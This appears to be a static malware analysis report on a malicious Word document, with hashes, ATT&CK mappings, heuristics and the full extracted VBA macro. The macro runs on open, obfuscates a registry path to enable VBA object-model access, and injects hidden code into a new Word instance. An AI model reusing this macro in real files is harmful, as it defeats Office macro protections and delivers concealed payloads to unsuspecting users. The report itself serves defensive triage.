Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fda18c5bf84af315…

MALICIOUS

Office (OOXML)

76.0 KB Created: 2021-05-05 08:29:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: 7ef395924e2e4f40fd15f4a8d09340f1 SHA-1: 415e859c6ea89744890ebd17d2d533c514795308 SHA-256: fda18c5bf84af31562823992ec4c1f132815f82728e7fbd62802925eac03d2c7
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution in malicious documents. The script utilizes WScript.Shell to write a registry value to 'HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessibilityBOM', likely for persistence or to enable further malicious activity. The script also constructs a registry path by concatenating strings and reversing parts of it, indicating an attempt to obfuscate its actions. While the full payload delivery mechanism is not explicitly detailed, the use of WScript.Shell and the creation of registry keys strongly suggest a downloader or dropper functionality.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub funcMainW(linkPtr)
With CreateObject("wscript.shell")
.RegWrite linkPtr, 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub iteratorLoad(linkLen As String)
Set convertABorder = CreateObject("word.application")
With convertABorder.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "clearPaste"
Sub autoopen()
swapConstTrust
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1883 bytes
SHA-256: 82a37e1210f1d8b93e0a842f23f719565c4e6cac27a4a8dd23102452e55962db
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{2FF3FBD0-896B-40B3-9DF4-8186983DAAD4}{1F465923-1202-4327-8D25-01569905E86F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "clearPaste"
Sub autoopen()
swapConstTrust
Dim listPointerVar As String
listPointerVar = funcTableMem
iteratorLoad listPointerVar
End Sub

Attribute VB_Name = "nextWTemp"
Sub iteratorLoad(linkLen As String)
Set convertABorder = CreateObject("word.application")
With convertABorder.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString linkLen
End With
convertABorder.Visible = False
convertABorder.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "constRequest"
Function optionDatabase() As String
optionDatabase = Application.Version
End Function
Sub funcMainW(linkPtr)
With CreateObject("wscript.shell")
.RegWrite linkPtr, 1, "REG_DWORD"
End With
End Sub
Function textW(linkPtr)
textW = "HKEY_CUR" & StrReverse("rawtfoS\RESU_TNER") & "e\Microsoft\Office\"
End Function
Function swapArgumentPtr(linkPtr)
swapArgumentPtr = "\Word\Secur" & StrReverse("VsseccA\yti") & "BOM"
End Function
Sub swapConstTrust()
linkPtr = textW("refArray")
dataClear = optionDatabase
textboxTrustRight = swapArgumentPtr("refArray")
funcMainW linkPtr & dataClear & textboxTrustRight
End Sub
Function funcTableMem()
funcTableMem = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23552 bytes
SHA-256: 42857607a790c53925ca634e462743808c9bf080f90d595080563402b30db94b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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